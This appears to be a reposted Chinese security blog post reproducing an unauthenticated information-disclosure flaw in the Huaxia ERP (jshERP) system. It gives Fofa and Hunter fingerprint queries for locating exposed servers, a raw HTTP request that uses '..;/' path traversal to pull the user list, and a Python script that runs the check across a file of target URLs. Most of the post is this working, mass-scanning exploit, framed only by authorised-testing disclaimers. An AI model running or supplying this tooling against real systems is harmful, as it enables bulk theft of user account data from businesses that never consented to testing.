华夏ERP是一个为中小企业提供经济实用的信息化解决方案的ERP系统。它旨在降低企业运营成本,适合初创公司以及希望快速实现ERP功能的个人开发者。华夏ERP基于现代技术栈构建,采用SpringBoot 2.0.0作为核心框架,搭配Mybatis 1.3.2处理持久层操作。前端采用了Vue 2.6.10和Ant-Design-Vue 1.5.2,提供流畅的用户体验。开发过程中的版本管理和依赖控制分别由Maven 3.2.3和SLF4J 1.7负责,保证了系统的稳定性和可维护性。
Fofa语法:
icon_hash="978514697" || body="jshERP-boot"
Hunter语法:
web.icon=="c68b15c45cf80115a943772f7d0028a6"
POC:
GET /jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/getAllList HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
批量脚本验证可后台回复 脚本 二字自行获取
# encoding:utf-8
import uuid
import requests
import argparse
import ssl
import urllib3
import re
import time
import os
from requests.exceptions import RequestException
from urllib3.exceptions import InsecureRequestWarning
# ssl._create_unverified_context:创建一个 SSL 上下文,用于处理 HTTPS 请求时不验证服务器证书的情况。
ssl._create_default_https_context = ssl._create_unverified_context
# urllib3.disable_warnings():禁用 urllib3 库的不安全请求警告,即不显示由于不安全的 HTTPS 请求而引发的警告信息。
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 设置打印颜色
RED = '�33[31m'
GREEN = '�33[32m'
RESET = '�33[0m'
def check_vuln(url):
url = url.strip('/')
target_url = url + '/jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/getAllList'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
try:
response = requests.get(target_url, headers=headers, verify=False, timeout=10)
if response.status_code == 200 and 'code' in response.text and 'userList' in response.text and 'id' in response.text:
print(f'{GREEN}[+] {target_url} 存在信息泄露漏洞{RESET}')
return True
except RequestException as e:
pass
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="目标URL")
parser.add_argument("-f", "--file", help="目标文件")
args = parser.parse_args()
if args.url:
args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
check_vuln(args.url)
elif args.file:
with open(args.file, "r") as f:
content = f.read().splitlines()
for url in content:
url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
check_vuln(url)
else:
print("请输入目标URL或目标文件")
if __name__ == "__main__":
main()
注:本文中提到的漏洞验证 poc 或工具仅用于授权测试,任何未经授权的测试均属于非法行为。任何人不得利用本文中的技术手段或工具进行非法攻击和侵犯他人的隐私和财产权利。一旦发生任何违法行为,责任自负。
原文始发于微信公众号(扫地僧的茶饭日常):【漏洞复现】华夏ERP信息泄露漏洞 (附批量验证脚本)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论